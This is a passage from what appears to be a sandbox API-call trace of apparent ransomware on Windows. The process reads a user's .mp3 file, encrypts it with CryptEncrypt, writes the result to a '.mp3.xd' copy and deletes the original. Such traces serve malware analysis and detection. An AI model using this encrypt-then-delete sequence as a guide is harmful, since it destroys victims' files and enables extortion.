"c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\ilgre7hszjubf2zho8e.mp3.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0065.042] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.042] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.042] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.042] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.044] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0065.044] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x88eb, lpOverlapped=0x0) returned 1 [0065.045] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0065.048] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.048] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.048] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.048] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0065.048] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.048] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.048] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0065.048] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.049] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0065.049] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.049] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.049] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.049] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0065.049] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0065.049] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0065.049] CryptGetKeyParam (in: hKey=0x164c870, dwParam=0x7, pbData=0x1629610, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629610*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0065.049] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.049] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.049] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.049] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.049] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.050] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.050] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.050] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.050] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.050] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.050] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.050] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.050] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.050] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.050] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.050] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.050] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.050] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.050] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.050] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.050] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.050] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.050] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.050] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.051] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.051] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.051] CryptEncrypt (in: hKey=0x164c870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x88eb, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x88f0) returned 1 [0065.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.051] CharLowerBuffW (in: lpsz="byte[35057]", cchLength=0xb | out: lpsz="byte[35057]") returned 0xb [0065.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.053] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.053] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.053] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.053] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621960, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.054] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.054] CryptEncrypt (in: hKey=0x164c870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x188e200*, pdwDataLen=0x130e618*=0x88eb, dwBufLen=0x88f0 | out: pbData=0x188e200*, pdwDataLen=0x130e618*=0x88f0) returned 1 [0065.054] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.054] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.054] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.054] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.054] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.054] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.054] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.054] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.054] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.054] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.054] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.054] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.054] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.054] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.054] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.054] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.054] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.059] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.059] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.059] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.059] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x88f0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x88f0, lpOverlapped=0x0) returned 1 [0065.060] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.061] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.061] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0065.061] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.061] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.061] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0065.061] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621558, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0065.061] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0065.061] CryptDestroyKey (hKey=0x164c870) returned 1 [0065.061] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.061] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.061] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.061] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.061] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.061] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.062] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.062] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.062] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.062] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0065.062] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.062] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.062] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.062] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.062] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.062] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.062] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.062] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.062] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.062] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.062] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.062] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.062] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.062] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.062] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.062] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.062] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.062] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.063] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0065.063] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0065.063] CryptReleaseContext (hProv=0x17abc38, dwFlags=0x0) returned 1 [0065.063] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.072] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.072] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.072] FreeLibrary (hLibModule=0x74c60000) returned 1 [0065.072] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.072] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.072] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.072] CloseHandle (hObject=0x3bc) returned 1 [0065.072] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.072] CloseHandle (hObject=0x2ac) returned 1 [0065.075] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.075] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.076] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", lpFilePart=0x0) returned 0x50 [0065.076] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\ilgre7hszjubf2zho8e.mp3")) returned 0x20 [0065.076] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c770 [0065.076] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\ILGRE7hszJubF2zHO8E.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\ilgre7hszjubf2zho8e.mp3")) returned 1 [0065.078] FindNextFileW (in: hFindFile=0x164c770, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0065.078] 